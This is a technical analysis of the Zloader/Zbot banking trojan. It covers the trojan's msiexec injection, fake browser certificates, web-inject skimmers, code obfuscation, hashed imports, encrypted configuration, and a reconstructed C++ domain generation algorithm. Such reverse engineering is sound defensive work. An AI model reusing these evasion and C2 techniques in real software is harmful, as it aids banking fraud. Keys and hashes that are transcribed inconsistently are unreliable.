<td>0</td>
<td></td>
</tr>
<tr>
<td>80A</td>
<td>MinorVersion</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>80C</td>
<td>Name</td>
<td>2028</td>
<td>64_gate32.dll</td>
</tr>
<tr>
<td>810</td>
<td>Base</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>814</td>
<td>NumberOfFunctions</td>
<td>5</td>
<td></td>
</tr>
<tr>
<td>818</td>
<td>NumberOfNames</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>81C</td>
<td>AddressOfFunctions</td>
<td>2036</td>
<td></td>
</tr>
<tr>
<td>820</td>
<td>AddressOfNames</td>
<td>204A</td>
<td></td>
</tr>
<tr>
<td>824</td>
<td>AddressOfNameOrdinals</td>
<td>205A</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Offset</th>
<th>Ordinal</th>
<th>Function RVA</th>
<th>Name RVA</th>
<th>Name</th>
<th>Forwarder</th>
</tr>
</thead>
<tbody>
<tr>
<td>836</td>
<td>0</td>
<td>0</td>
<td>836</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>83A</td>
<td>1</td>
<td>11B3</td>
<td>2062</td>
<td>CmpMem64</td>
<td>-</td>
</tr>
<tr>
<td>83E</td>
<td>2</td>
<td>113D</td>
<td>206B</td>
<td>GetMem64</td>
<td>-</td>
</tr>
<tr>
<td>842</td>
<td>3</td>
<td>123F</td>
<td>2074</td>
<td>GetTEB64</td>
<td>-</td>
</tr>
<tr>
<td>846</td>
<td>4</td>
<td>1006</td>
<td>207D</td>
<td>x64Call</td>
<td>-</td>
</tr>
</tbody>
</table>
The "Silent Night" Zloader/Zbot

There is also a 64-bit version of the main module that will be injected into 64-bit processes:
3aa6edf03880493e9e16cc5ee1cf79996901c814cbe6e43b001327b6897eea59

Similarly, a 64-bit version of the VNC is being used.

Looking at the modules, we can find many analogies to banking trojans based on ZeuS.

**Pairing with a browser**

The main module inside msiexec runs a local server, to which the other implanted modules are connecting, and sending the stolen data.

The image below represents the view from *Process Explorer*, listing the connections opened by msiexec as well as the ones open by Firefox. One of the connections established by Firefox links it with the local server, running inside msiexec. We can see a pair of connections where the msiexec uses local port 18301 and remote 49937 (which is the port open by Firefox), while Firefox uses local port 49937 and remote 18301 (which is the port open by msiexec).
Fake certificates

The malware installs a fake certificate for the Man-In-The-Browser attack. This is how the connection with the fake certificate looks like in various browsers:

Firefox doesn’t show anything alarming at first glance, but when we click on the details of the connection we will find the message “Mozilla does not recognize this certificate issuer. It may have been added from your operating system or by an administrator. Learn More”. More advanced users may get suspicious at this point.
Fake certificate in Internet Explorer

In the case of Internet Explorer nothing like this occurs, and only a closer analysis of the Issuer and Certification Path may raise concerns that the certificate is not legitimate.
The “Silent Night” Zloader/Zbot

Certificate

Certificate Information

This certificate is intended for the following purpose(s):
• All application policies

Issued to: www.facebook.com

Issued by: Ocrgabyo

Valid from 2020-01-31 to 2021-01-30

Learn more about certificates
Fake certificate in Chrome

In the case of Chrome, the situation looks very similar like in the Internet Explorer. We need to see the certificate’s details, read the Issuer and the Certification Path to find out the fraud. For the less advanced users, it may be too difficult to notice the alarming indicators.

The differences between how Firefox displays the certificate versus Internet Explorer and Chrome, are caused by a different way in which the malicious certificate is installed. In the case of Internet Explorer and Chrome, the malware author patched the functions in crypt32.d11 responsible for validation of the certificate in order to bypass the security measures. In the case of Firefox, it just installed the malicious certificate with the help of the certutil tool.

We will see the implementation of those techniques in the further part of this post.
Webinfects

When we visit one of the targeted sites, we can also observe a malicious script being injected into the original website content. In the example below, the login page of Scotiabank was implanted with a skimmer. The malicious javascript is inlined in the header of the website.

The highlighted line shows the malicious script injected in the header.

The difference can be noticed when we compare it with the original source:

The content of the elements that are going to be injected is defined by templates that are downloaded from the C2.

Inside

This analysis details on 32-bit modules of the bot. Most of the 64-bit modules are analogical. Yet, the 64-bit modules are going to be referenced whenever they introduce any functionality that is not present in the 32-bit version.

The initial sample (loader) that is distributed in campaigns, is usually packed with the help of some underground crypter. The used crypters change periodically, and most likely
The “Silent Night” Zloader/Zbot

created by a third-party. That’s why this analysis will not include analysis of the packing in this report. Automated unpacking of the used samples was done with the help of PE-sieve.

Obfuscation

In order to make analysis more difficult, all of the malicious modules of this Zbot are obfuscated. The characteristics of the obfuscation indicates that it has been applied on the source-code, pre-compilation. It contrasts with most malware, where the only protection is the layer added post-compilation, with the help of a crypter/protector.

Each release of the bot contains randomized obfuscation. Although the resulting code is different, yet the patterns are similar every time. This indicates that the same code obfuscator was used for each release, and the generated obfuscation artifacts are being randomized on each use.

According to the advertisement on the underground forum, the obfuscator is custom, developed by the author of the bot themselves.

Constants

Many of the constants used in the code are obfuscated. Instead of being hard-coded, they are calculated just before use, by a unique, obfuscated function.

For example, instead of giving a parameter as a value of 2, the dedicated function is being called to calculate it:

```c
param = val2();
```

```c
v4 = init_internals(param, param);
```

Inside the function calculating the value of 2 we can find calls for various other functions, and use of globals that may need to be pre-initialized.

```c
v13 = sub_10089f76(1398715290, -1);
v23 = sub_10089f82(v12 & 0x535EE39A | v13 & v12, ~v6 & v12 & 0x535EE39A | v13 & v0 & v12)) | ~v12 | ~(v6 & v12) & v13;
v26 = v7 + v31;
v14 = dword_10098668;
v15 = and_values(-B45914299, ~dword_10098668);
v16 = dword_1009869e;
v17 = subtract_values_1(0, (signed __int16)(v7 + v2));
dword_1009859c = ~and_values2(v16, v17);
v18 = dword_1009859c & ~v21;
v28 = v18 | sub_10088160(v25, ~dword_100959c);
if ( ~(v24 != -1168244651) | (unsigned __int32)is_equal_3(v7, 1964824385) & 1 )
{
    v21 = dword_10095600 + v26;
    byte_10095ecf = dword_10095600 + v24 + -128;
v30 = v23 - subtract_values(0, byte_10095ecf);
    dword_10095e88 = xor_values_8(23441468, ~v18 & 0x56948BC | v19 & 0xF2FC437);
}
if ( sub_100952c0(v24, v21) & 1 || is_equal_1(v25, dword_10095600) )
{
    dword_10095600 = dword_10095600 + v26 - dword_1009598;
    v23 = ~(dword_10095600 & 0xF55CDD | dword_10095600 & 0x7A4342) & 0xF55CDD;
}
dword_10095e88 = v23;
return 14081;
```
Arithmetic operations

Various arithmetic operations used by malware, as well as comparisons, are also obfuscated. Instead of being implemented in a standard way, they are managed by multiple dedicated functions, each of them is obfuscated.

Example:

Instead of using a comparison operator == the malware implements its own function \texttt{is\_equal(val1, val2)}, and this function is internally obfuscated, in order to make its role non-obvious.

```c
bool __cdecl is_equal_10(int val1, int val2)
{
    char v3; // [esp+23h] [ebp-9h]

    v3 = dword_10095E58 - (dword_10095E58 ^ dword_10095B4);
    dword_10095B4 = -(v3 + 8);
    dword_10095E58 = (char)(-(val1 == val2) - (v3 - ((char)(v3 + 8) | 0x40) + 32));
    return val1 == val2;
}
```

To make things more complicated, various parts of the code use diverse versions of the \texttt{is\_equal} function - and each of them is obfuscated in a randomized way.
The "Silent Night" Zloader/Zbot

```c
bool __cdecl is_equal_11(int val1, int val2)
{
    int v3; // [esp+0h] [ebp-28h]
    int v4; // [esp+4h] [ebp-24h]
    int v5; // [esp+8h] [ebp-20h]
    int v6; // [esp+Ch] [ebp-1Ch]
    int v7; // [esp+10h] [ebp-18h]
    int v8; // [esp+14h] [ebp-14h]
    int v9; // [esp+18h] [ebp-10h]
    int v10; // [esp+1Ch] [ebp-Ch]
    char v11; // [esp+23h] [ebp-5h]

    v3 = 2048;
    v4 = 2048;
    v5 = 2048;
    byte_1000E5CD = dword_1000E59C;
    v9 = (dword_1000E59C + 2048) | (char)dword_1000E59C;
    v8 = (dword_1000E59C + 2048) | (char)dword_1000E59C;
    v7 = v8 + 2048;
    v5 = (char)dword_1000E59C - (v8 + 2048);
    dword_1000E59C = v9 - v6;
    v10 = (v9 - v6) ^ v8;
    v11 = v8 + v10;
    if ( v9 - v6 == 825874400 && v10 == -1747018264 )
    {
        byte_1000E5CD = v6 + v11;
        v9 = v3 & (char)(v6 + v11);
        v8 = v5 + v9;
    }
    if ( v9 == 1918265816 && v5 == -855999511 && dword_1000E59C != v10 && v10 <= v11 && v9 != v8 )
    {
        v7 = v8 + dword_1000E59C;
        dword_1000E59C = v10 * (v8 + dword_1000E59C) * v11;
        v10 = v4 - dword_1000E59C;
    }
    byte_1000E5CD = v9 - v10 * byte_1000E5CD;
    dword_1000E59C = (~v11 == val2) - (v8 ^ byte_1000E5CD) ^ v7;
    return val1 == val2;
}
```

Some versions also contain redundant parameters.
In between, we can encounter redundant API calls. In the below example, before the comparison is made additional conditions are being checked, and meaningless calls to RealeaseDC and GetStringTypeW are made.
Deobfuscation is difficult also because of the huge diversity of implementations of those simple functions. A list of various instances of is_equal function in one of the analyzed samples shows the diversity:

```c
if ( v17 && v14 == 695179012 )
{
    v19 = (HWND)&v16[v15 + 2048];
    word_94378 = ReleaseDC(v19, (HDC)word_94378);
    v20 = (WORD *)&v19;
    v21 = (int)v19;
    _val2 = a2;
    v22 = GetTypeTypeW(v13, (LPCTSTR)v13, v21, v20);
    v23 = -1;
    if ( a1 <= a2 )
        v14 = (signed __int16)(v22 * v23);
}
result = a1 > _val2;
lpchText = v14;
return result;
```
The same is done for other comparators, as well as arithmetic operators such as +, -, ^, & etc.

**Imports**

It is a common practice among malware authors to obfuscate API calls. Often imported functions are fetched by their pre-calculated checksums, and mapped to their addresses just before use. Similarly it is implemented in the analyzed case - yet, it is more complicated in some ways.
Before the new function can be fetched by a checksum, the initialization of the retrieving function is required. During this step, addresses of functions LoadLibraryA and GetProcAddress are filled into a global structure.

```
100312D7    init_internals proc near
100312D7
100312D7 var_10-  dword ptr -10h
100312D7
100312D7 push  ebp
100312D8  mov  ebp, esp
100312DA  push  ebx
100312DB  push  edi
100312DC  push  esi
100312DD  push  eax
100312DE  mov  esi, ecx
100312E0   call  Init_imports_loader
100312E5   test  al, al
```

The import is fetched just before use, by a call to the dedicated function. In the example below, we can see two parameters being pushed on the stack before the retrieving function (load_func_by_checksum) is called: the DLL's ID (0), and the function’s checksum (0x1FEDC07). Based on those two parameters, a needed API is retrieved - in this case it is GetWindowsDirectoryW.

```
1002EBAF loc_1002EBAF:
1002EBAF  push  1FEDC07h
1002EBB4  push  0
1002EBB6  call  load_func_by_checksum
1002EBBB  add   esp, 8
1002EBB8  lea   ebx, [esi+34h]
1002EBC1  push  104h
1002EBC6  push  ebx
1002EBC7  call  eax ; kernel32.GetWindowsDirectoryW
```

The retrieving function has the following prototype:

```
FARPROC __cdecl load_func_by_checksum(DWORD lib_id, DWORD checksum);
```

Internally this function selects a proper DLL by an ID (and eventually loads it if missing), and then calls a function directly responsible for mapping the checksum to the appropriate API. Prototype of the called function:

```
FARPROC __cdecl load_function_from_lib_module(HMODULE library, DWORD checksum);
```

In case of failure to retrieve any import, the bot just terminates its execution.

```
  func = load_function_from_lib_module(current_lib, checksum);
  if ( is_equal_0(func, 0) )
  {
      func = 0;
      v17 = load_func_by_checksum(0, 0x3A94474u); // kernel32.ExitThread
      (v17)(0);
  }
  goto LABEL_43;
```
The "Silent Night" Zloader/Zbot

Usually, the DLL is fetched from the libraries loaded in a typical way (using LoadLibrary). But there are 3 DLLs that are supposed to be loaded manually: libssl.dll, zlib1.dll, sqlite3.dll. (It matches the previous observations, done during behavioral analysis.) Their addresses are supposed to be filled in the internal list.

```c
    current_lib = libraries_list[_lib_id];
    if ( is_equal_22(current_lib, 0) & 1 )
    {
        switch ( _lib_id )
        {
            case 0x17:
                current_lib = lib_0x17_sqlite3;
                break;
            case 0x16:
                current_lib = lib_0x16_zlib1;
                break;
            case 0x15:
                current_lib = lib_0x15_libssl1;
                break;
            default:
                current_lib = LoadLibraryA(&v25, v22);
                break;
        }
    }
```

In common scenarios of malware analysis, once we understand the import loading mechanism, and know the checksum calculation algorithm, we can easily write a deobfuscator which will do a reverse lookup, mapping checksums back to function names. But in this Zbot things are more complicated. The obfuscator diversified the way in which the checksum is retrieved. Sometimes, the explicit value is hardcoded (as in the example above). Yet, in many cases, they are calculated first by dedicated functions. For example, this is how in one of the cases VirtualAlloc is resolved: we don't know the checksum until the function that calculates it returns the result.

```c
    int _fetch_checksum_virtual_alloc();
    VirtualAlloc = (void ( _stdcall )((DWORD, signed int, signed int, signed int))load_func_by_checksum(0, V));
    VirtualAlloc(0, 0x1000, 0x5000, 0x40);
```

Another example - fetching the select function. This time neither DLL's ID nor the function's checksum is hardcoded - both are unknown until they are calculated by the obfuscated functions (denoted on the picture as calc_dll_id(), checks_socket_select()).

```c
v8 = a2 / 1000;
v9 = 1000 * (a2 % sub_1003FE00());
dll_id = calc_dll_id();
checksum = checks_socket_select(1, a1);
ws2_32.select = load_func_by_checksum(dll_id, checksum);
v5 = (ws2_32.select)(a1 + 1, &v7, 0, 0, &v8);
result = (v5 != 0) | 0xFFFFFFFF;
if ( v5 > 0 )
    result = 0;
return result;
```
In such cases, even having the import-retrieving function re-implemented won’t help. We would be forced to re-implement each and every checksum-calculating function so that we could retrieve proper parameters first. Those checksum-retrieving functions are also obfuscated, and diversified, so reimplementing them would be a laborious task. Example of the function retrieving the checksum:

```
dword_1009E5A0 - byte_1009E500 ^ 0x80;
v0 = dword_1009E5A0 - (-byte_1009E500 - 16);
v1 = byte_1009E500 ^ v0;
v2 = sub_1007EBC0(byte_1009E500 + 16, v1);
v3 = ~v2;
v4 = v0 & v2;
v5 = (~v1 & 0xC9 | v1 & 0x36) ^ (~v4 & 0xC9 | v4 & 0x36);
sub_10083070(v1, v4);
byte_1009E500 - v5;
dword_1009E5A0 - v3 + v5;
v20 = v3 + v5;
v6 = ~dword_1009E790 & 0x05FFC430;
v7 = (v6 | dword_1009E790 & 0x2A03BCF) ^ 0x87173FFB;
v16 = (v6 & dword_1009E790 & 0x2A03BCF) ^ 0x87173FFB;
v8 = sub_10081DA0(v1, -1) & 0xFA24520;
v17 = (v8 & v7 & 0x5BACD2) ^ (~v3 + v5) & 0xFA24520 | sub_10088E50(v3 + v5, 9828706));
v18 = byte_1009E500 - v17;
v21 = v18 + 128;
v39 = -sub_1008A460(-16, -(v18 + 128));
if ( sub_10086E60(v19, 2019249220) & 1 & & v21 == -72225519 )
[
  v9 = dword_1009E5A0;
v10 = -sub_10082300(0, -v19 - dword_1009E5A0);
  sub_10009500(v9, v10);
byte_1009E500 = v10;
v11 = v20 + v10;
dword_1009E5A0 = v10 * v10;
v12 = sub_10001170(v11, -1);
v13 = sub_10083070(-12327043), -1);
v14 = (~v7 & 0x3D046430 | v13 & v17) ^ (v12 & 0x8D046430 | v13 & v17) | ~v12 | ~v17 & (v13 | 0x8D046430);
sub_10082750(v17, v11);
v20 = v14;
}
byte_1009E500 = v19 + v21 * (v10 - sub_10082300(0, v20));
return v16;
```

Such problems can be solved with libPEconv. We can call original functions from the malware, just by defining their prototypes and supplying their offsets.

Due to the fact that many constants in the code are obfuscated, it is not even possible to guess the called function by looking at the passed parameters. The given example shows how the call to VirtualAlloc may look like: not only is the function name obfuscated, but also many of the passed arguments.
Strings

Most of the strings used by malware are also obfuscated. There are two separate obfuscation functions: one for ANSI strings, and another for UNICODE. Prototypes of both are analogical:

\[
\text{DWORD \_cdecl decode\_cstring(const char \*in\_buf, char \*out\_buf, int length);} \\
\text{DWORD \_cdecl decode\_wstring(const wchar\_t \*in\_buf, wchar\_t \*out\_buf, int length);} \\
\]

Similarly like in the case of retrieving imports, values of some of the parameters can be calculated just before the use, by unique, obfuscated functions. So, for example, we don’t know what the address of the input buffer is until we execute the dedicated function retrieving it. This makes automatic deobfuscation difficult.

Yet, the string deobfuscation functions alone are pretty simple. After cleaning the redundant instructions we can see, that all what they do is XORing the input buffer with the hard-coded key:

\[
\text{const char g\_StrXorKey[]} = "\text{"fgK\#I6\#D!NtdI#!J"};} \\
\text{char \*decode\_cstr(char\* in\_buf, char\* out\_buf, int length)} \\
\{ \\
\text{for (size\_t i = 0; i != length; ++i) \\
\text{out\_buf[i] = g\_StrXorKey[i \% 16] ^ in\_buf[i]; \\
\text{return out\_buf;}} \\
\} \\
\text{wchar\_t \*decode\_wstring(const wchar\_t \*in\_buf, wchar\_t \*out\_buf, int length)} \\
\{ \\
\text{for (size\_t i = 0; i != length; ++i) \\
\text{out\_buf[i] = wchar\_t(g\_StrXorKey[i \% 16]) ^ in\_buf[i]; \\
\} \\
\]
Deobfuscation

With the help of a libPEconv library, along with IDA scripts, we managed to deobfuscate all the strings and imports used by the malware. The libPEconv library allowed to import the constant-generating functions directly from the malware, without the need of understanding and rewriting the obfuscated code. Then, IDA scripts helped to automate the process of extracting the needed values. As a result we got the following listings, which can be applied on a binary, i.e. with the help of IFL Ida Plugin. This is how the code with applied tags may look like - strings, as well as the fetched imports, has been added as comments:

```
1001F02 push   eax
1001F03 push   esi
1001F04 call   load_func_by_checksum ; libssl.x509_get_subject_name #52
1001F09 add    esp, 8
1001F0C push   dword ptr [ebx+18h]
1001F0F call   eax
1001F11 add    esp, 4
1001F14 mov    esi, eax
1001F16 call   val_15
1001F1B mov    ebx, eax
1001F1D call   sub_10053ED0
1001F22 push   eax
1001F23 push   ebx
1001F24 call   load_func_by_checksum ; libssl.x509_set_issuer_name #56
1001F29 add    esp, 8
1001F2C push   esi
1001F2D push   edi
1001F2E call   eax
1001F30 add    esp, 8
1001F33 call   sub_10034790
1001F38 lea    esi, [ebp+var_21]
1001F3B push   eax
1001F3C push   esi
1001F3D push   offset unk_100983D1 ; "DNS:"
1001F42 call   decode_cstring
1001F47 add    esp, 0Ch
```

After deobfuscation of the bot, we can analyze it statically, i.e. in IDA.

**Used static libraries**

Looking at the strings of the module, we can see artifacts hinting that some of the known open source libraries have been used. For example, the MinHook library:
There are also HTTP messages that suggest usage of HTTP parser from NodeJS.

Plain loader vs antiemule loader

As mentioned in the introduction of the malware elements, the loader can come in one of two flavors: plain or anti-emule. They do not differ in terms of the core functionality. However, an anti-emule loader comes with additional loops of junk code that are supposed to maximally slow down the analysis, if the malware is being executed by an emulator.

Below you can see fragments of logs generated when both flavors of the loader (the same version number) have been deployed via PIN tracer.
In the case of the plain one, the core functionality of creating the msiexec process, and injecting itself there, starts right away after the loader is deployed. In case of the anti-emule one we see a long trace of redundant instructions being called in a loop, before the real action starts.

**Execution flow**

In this part we will follow through the malware execution, starting from the component d93ca01a4515732a6a54df0a391c93e3 that was dropped by the RIG Exploit Kit. The version of the analyzed package is 1.0.8.0. Occasionally we will refer to other samples (higher versions) in order to present the updates.

**The loader (loader-bot32.exe)**

The below diagram shows the components of the malware running in particular processes, at the loading stage.
The "Silent Night" Zloader/Zbot

First the loader executable is deployed. It runs **msiexec**, and injects itself there. It retrieves the next stage (bot32/64) either from local storage, or from the C2 server, and injects it in the same instance of **msiexec**.

**The loader’s execution steps:**

A) Initial run (original executable, original entry point)
- inject itself into **msiexec** and run

B) Inside **msiexec** (changed entry point)
- initialize internals:
  - init imports loader (store pointers to LoadLibraryA and GetProcAddress in global variables, that will be used to load import by hash)
  - walk through the Import Table and load all the imports (they were not initialized by the loader component)
  - decrypt internal configuration (including C2 URL) with a hardcoded RC4 key #1 (in currently analyzed sample it is `fgnukdkakyldgqnsleqe`)
- check if compiled as debug: if yes, show an info: **BOT-INFO**-> It’s a debug version.. Check if Proxyfier.exe is running. If Proxifier detected, show a MessageBox informing about the collision with internal proxy: **BOT-INFO**->Proxifier is a conflict program, form-grabber and web-injects will not works. Terminate proxifier for solve this problem..
- try to retrieve the installation data from the registry (`HCKU\Software\Microsoft\installation_key`) - names of the keys are unique for a particular version of the bot), i.e. `HCKU\Software\Microsoft\lolo -> ystu`. Decrypt the value with RC4 key #2 retrieved from the hardcoded configuration.
- if the installation key is not found, install itself: generate the installation data block and save it in the registry under `HCKU\Software\Microsoft\installation_key`. Installation block includes RC4 context (initialized with randomly generated RC4 key #3) that will be used for encrypting files, as well as paths that will be used for storing those files (in `%APPDATA%`)
- try to retrieve the core module (bot32/64.dll) saved on the disk (in encrypted file in `%APPDATA%`). Validate the file. If validation was successful, store the payload internally for further loading.
• If the core module could not be retrieved, try to download it from the C2, following the URL from the internal configuration. (In older loaders only the hardcoded URLs were used. In newer versions, also DGA is used)
• If downloading was successful, save the module on the disk (in `%APPDATA%/<generated_path>`)  
• Manually load the core module and redirect execution there, or exit on failure.

Implementation details of the selected actions will be given below.

**Injection into msiexec**

The loader can be implemented as a DLL or as EXE. Below we will walk through the process of loading of the loader implemented as EXE.

At the beginning of loader's execution we can see a code responsible for creating a new msiexec process:

```
00786D0 push   eax
00786D1 push   edi
00786D2 push   offset unk_923D3   ; "msiexec.exe"
00786D7 call   decode_cstring
00786DC add    esp, 0Ch
00786DF lea    ebx, [ebp+var_68C]
00786E5 push    0FFFFFFFFh
00786E7 push    edi
00786E8 push    ebx
00786E9 call    sub_71971
00786EE add    esp, 0Ch
00786F1 push    1E16041h   ; checksum
00786F6 xor     eax, eax
00786F8 push    eax   ; lib_id
00786F9 call    load_func_by_checksum; kernel32.CreateProcessA #217
00786FE add    esp, 8
```
The full loader's PE is copied into a buffer, and obfuscated by XOR:

When we run the downloader we can see that it injects its copy into msiexec, along with shellcode.

The memory regions highlighted in the image are the implants: the obfuscated PE and the shellcode.
The "Silent Night" Zloader/Zbot

The injected copy is XOR obfuscated at first, with a random DWORD-sized key. The role of the additional shellcode is to deobfuscate it, and then redirect execution there. Fragment of the shellcode processing XOR obfuscated copy of the module presented below:

The loop in the shellcode processing the obfuscated PE.

After applying the XOR key, the PE is revealed. We can find that it is a copy of the initial loader - yet, its Entry Point has been replaced: on this run, the execution starts from a different address.
After the decoding loop finishes the execution, the PE is revealed.

Beginning of the main function, where the execution starts inside the `msiexec`:

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>ASCII</th>
</tr>
</thead>
</table>
| 0007B1A8 | 6A 7E 02 | ...
| 0007B1A9 | 6A 7E 02 | ...
| 0007B1AB | 6A 7E 02 | ...
| 0007B1AC | 6A 7E 02 | ...
| 0007B1AE | 6A 7E 02 | ...

### Loader’s main function

Loader’s main function starts from the initialization, involving several steps.
The init function of the loader, view from x64dbg.

The loader goes through its own Import Table and fills the imports. In addition to the functions from the Import Table, imports loaded by hashes are going to be used. The algorithm used for fetching them is the same as explained in the “obfuscation” section.

The malware comes with RC4 encrypted configuration, which is first decrypted with the help of the hardcoded key (key#1).
We can find there i.e. the ID of the botnet, and the URLs of the C2 gates which are going to be queried. At the end of the configuration there is another RC4 key (key #2). The details of the malware configuration and storage are explained in the dedicated section.

After the initialization phase, the malware proceeds with the installation. First, it queries the special registry key, which is used for storing installation data of the bot.
It also RC4 decrypts a hardcoded 16 byte value, converts it into GUID and uses it as a mutex name.

Then, it generates a bot ID in a format: %s_%08X%08X consisting of the machine name, and generated machine ID. The algorithm used for its generation will be presented further.

In case the core bot was already installed, the paths for the components are fetched from the installation data block. The core bot component is being read from the dedicated files, and decrypted.
The decrypted data contains the PE file per-pended with the header. The header contains the bot version - in the current case it is 1.0.8.0. The version must match the one hardcoded in the loader. Just before the PE content, its size, and then the CRC32 checksum is stored. The checksum will be verified before the bot is loaded.

In case if the bot could not be retrieved, the loader will try to download it from its C2 server.

**Downloading modules from the C2**

The malware opens internet communication:

```Assembly
sub esp,190
push AAF7240
push 6
call D141C
add esp,8
mov esi,eax
call DF790
lea ecx,dword ptr ss:[ebp-134]
call DF790
push ecx
push eax
call EAS90
push 0
push eax
push esp
add esp,8
and al,1
add esp,190
pop esi
pop ebp
ret
```
First it beacons to the C2:

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>01CC0000</td>
<td>AA 00 42 00</td>
<td>.B .B.</td>
</tr>
</tbody>
</table>
| 01CC0010 | 00 50 29 00 | 00 00 00 00 | 00 00 00 00 | .P) .P) .@bb .
| 01CC0020 | 00 00 72 00 | MZx        |
| 01CC0030 | 24 75 7E 17 | $u-........e |
| 01CC0040 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | ............... |
| 01CC0050 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |
| 01CC0060 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |
| 01CC0070 | 69 73 20 6F | 2t be run in |
| 01CC0080 | 00 00 00 00 | DO S.F., E. | ...10
| 01CC0090 | 00 4F 04 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |
| 01CC00A0 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |
| 01CC00B0 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |
| 01CC00C0 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 |

Decrypted payload `ab756f154d266c8ba19bdfa8bcaf1b73`

The details about downloading modules are given in the “Traffic analysis” section.
Redirecting the execution:

The DGA

In the newer versions of this malware, in addition to the hardcoded C2 URL, a Domain Generation Algorithm (DGA) is being used. The generated URLs are being queried one after another, till the successful connection is established.

The Domain Generation Algorithm uses the supplied seed.
Reconstruction of the DGA code is given below:

```c
void __cdecl generate_domains_list(int seed, int a2)
{
    unsigned int v2; // ebx
    int v3; // esi
    int v4; // esi
    int v5; // eax
    char v6; // al
    int v7; // eax
    char v8; // [esp+2h] [ebp-2Ah]
    char v9; // [esp+Ch] [ebp-20h]
    int v10; // [esp+18h] [ebp-14h]
    char v11; // [esp+1Fh] [ebp-Dh]

    if ( a2 )
    {
        v2 = seed;
        v3 = 0;
        do
        {
            v10 = v3;
            sub_53BBF0(&v9);
            v4 = 1;
            do
            {
                v11 = v2 % 0x19 + 97;
                sub_53B9D0(&v11);
                v2 = seed ^ (v11 + v2);
                v5 = sub_531320();
                v6 = sub_525D50(v4++, v5, 0);
            }
            while ( !(v6 & 1) );
            v7 = decode_cstring(&com_str, &v8); // ".com"
            sub_53B9E0(v7);
            sub_53AFA0(&v9);
            to_free_heap(&v9);
            v3 = v10 + 1;
        }
        while ( !(sub_525D60(v10 + 1, a2, 0) & 1) );
    }
}```
#include <iostream>
#include <Windows.h>

void generate_domains_list(DWORD seed, size_t count) {
    DWORD _seed = seed;
    char _next = 0;

    while (count--) {
        size_t len = 1;
        do {
            _next = _seed % 0x19 + 0x61;
            std::cout << _next;
            _seed = seed ^ (_next + _seed);
        } while (len++ < 0x14);
        std::cout << ".com\n";
    }
}

At once DGA generates 32 domains.

The seed is generated based on the local time.

unsigned long long make_seed() {
    SYSTEMTIME local_time = { 0 };
    GetLocalTime(&local_time);
    local_time.wHour = 0;
    local_time.wMinute = 0;
    local_time.wSecond = 0;
    local_time.wMilliseconds = 0;

    FILETIME file_time = { 0 };
    SystemTimeToFileTime(&local_time, &file_time);
    unsigned long long *a1 = (unsigned long long *)&file_time;
    return compress_time(*a1);
}

The following function is used to convert the retrieved time into a DWORD:

#define LODWORD(a1) (a1 & 0x00000000FFFFFFFF)
#define HIDWORD(a1) (a1 & 0xFFFFFFFF00000000)

unsigned long long compress_time(unsigned long long file_time) {
    unsigned long long compressed_time = file_time - 0x19DB1DED53E8000;
    DWORD a2 = 0x989680u;
    unsigned long long v3 = LODWORD(compressed_time) + (HIDWORD(compressed_time) % a2);
    unsigned long long result = LODWORD(v3 / a2) + (HIDWORD(compressed_time) / a2);
    return result;
}
Then, the RC4 algorithm with the key from the config (key #2) is applied on it:

```
lea ecx, [ebp+var_18]
push edi
push eax ; eax - 4
push ecx
call rc4_crypt ; 0xC9ED7E28 -> decrypted DWORD
add esp, 0Ch
push esi
push 32
push [ebp+var_18] ; seed = 0xC9ED7E28
call generate_domains_list
add esp, 0Ch
lea eax, [ebp+var_7F]
push eax
push offset unk_53C7A6 ; "/post.php"
call decode_cstring
add esp, 8
```

The final value is the seed for generating the domains. The strings generated by the algorithm are appended with .com domain extension, and the gate address post.php. Summing up, the used DGA is a client-side implementation of the same algorithm that is used in the panel.

Those domains are filled in an internal structure, and then they are picked one by one, till the responding domain is found.
The generated domains are aggregated in an internal structure, and queried one by one.

The core (bot32.dll)
The below diagram shows the components of the malware running in particular processes, after the execution got redirected to the main bot (running inside msiexec).
**The bot’s execution steps:**

A) Starting execution at Entry Point (after being loader by the previous - loader - component)

- initialize internals:
  - init imports loader (store pointers to `LoadLibraryA` and `GetProcessAddress` in global variables, that will be used to load import by hash)
  - walk through the Import Table and load all the imports (they were not initialized by the loader component)
  - init a CRC32 table
  - WSA startup (initialize WinSock 2.0)
  - decrypt internal configuration (including C2 URL) with a hardcoded RC4 key #1 (in currently analyzed sample it is `fgnukdkakyl1dggq1ege`)
  - `InternetSetOptionA`: `INTERNET_OPTION_MAX_CONNS_PER_SERVER` -> 10
  - read installation data stored in the registry: `Software\Microsoft\<hardcoded key>` (in the currently analyzed version it is `lolo->ytsu`). If found, decrypt the information. The data stored in the registry key is encrypted/decrypted with the help of the RC4 key #2, retrieved from the C2 configuration (in the analyzed sample it is `90f1e19e2306648e9e22059d47f36016`). Those data contains paths to encrypted components stored in unique directories created in `%APPDATA%`
  - get Volume CLSID for the unique identification of the infected machine
  - init default UserAgent string: `Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36`
- fetch path to the VNC module from the information saved in the registry
The "Silent Night" Zloader/Zbot

- fetch the unique Bot ID saved in the registry and store it in a global variable for further use
- run threads responsible for particular malicious actions, such as:
  - command parsing loop: parse commands sent to the bot, and deploy demanded actions
  - upload to the C2 files where the stolen data were collected
  - steal data from browsers SQLite databases (cookies)
  - install a fake certificate and run the local proxy
  - a loop monitoring the processes and injecting the modules in them
  - run VNC server

Implementation details of the selected actions will be given below.

Core bot’s main function

Analysis based on sample: ab756f154d266c8ba19bdfa8bc9f1b73

The execution of the core bot starts by the initialization phase.

